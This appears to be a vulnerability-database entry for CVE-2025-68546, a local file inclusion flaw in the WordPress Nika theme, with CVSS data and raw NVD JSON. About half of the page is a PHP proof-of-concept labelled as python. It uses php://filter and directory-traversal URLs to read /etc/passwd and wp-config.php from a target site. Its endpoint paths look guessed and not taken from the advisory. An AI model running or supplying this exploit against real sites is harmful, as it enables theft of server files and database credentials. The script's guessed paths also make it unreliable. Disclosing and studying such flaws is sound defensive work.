Security Vulnerability Report
中文
CVE-2025-68546 CVSS 7.5 HIGH

CVE-2025-68546

Published: 2025-12-23 12:15:45
Last Modified: 2026-04-23 15:36:00

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Nika nika allows PHP Local File Inclusion.This issue affects Nika: from n/a through <= 1.2.14.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Nika Theme <= 1.2.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-68546 PoC - Nika Theme Local File Inclusion * Target: WordPress Nika Theme <= 1.2.14 * * This PoC demonstrates how to exploit the LFI vulnerability * to read sensitive files from the server. * * Usage: php poc.php <target_url> <file_to_read> * Example: php poc.php http://target.com /etc/passwd */ $target_url = $argv[1] ?? 'http://localhost'; $file_to_read = $argv[2] ?? '/etc/passwd'; // Common vulnerable endpoints in Nika theme $vulnerable_paths = [ '/wp-content/themes/nika/?file=/etc/passwd', '/wp-content/themes/nika/assets/?file=../../../wp-config.php', '/wp-content/themes/nika/inc/?action=file_include&file=../../../wp-config.php' ]; // Using PHP filter to read file $encoded_file = 'php://filter/convert.base64-encode/resource=' . $file_to_read; $exploit_url = $target_url . '?' . http_build_query(['file' => $encoded_file]); echo "[*] CVE-2025-68546 PoC - Nika Theme LFI\n"; echo "[*] Target: $target_url\n"; echo "[*] File to read: $file_to_read\n"; echo "[*] Exploit URL: $exploit_url\n\n"; // Send request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && $response) { // Try to decode base64 response $decoded = base64_decode($response); if ($decoded && strlen($decoded) > 0) { echo "[+] Success! File content (base64 decoded):\n"; echo $decoded . "\n"; } else { echo "[+] Raw response:\n"; echo $response . "\n"; } } else { echo "[-] Exploit failed. HTTP Code: $http_code\n"; echo "[-] Try adjusting the file path or vulnerable endpoint.\n"; } /* * Alternative: Using directory traversal * * http://target.com/wp-content/themes/nika/?file=../../../wp-config.php * http://target.com/wp-content/themes/nika/?file=../../../../../../etc/passwd * * This PoC is for educational and authorized testing purposes only. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68546", "sourceIdentifier": "[email protected]", "published": "2025-12-23T12:15:45.457", "lastModified": "2026-04-23T15:36:00.263", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Nika nika allows PHP Local File Inclusion.This issue affects Nika: from n/a through <= 1.2.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/nika/vulnerability/wordpress-nika-theme-1-2-14-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}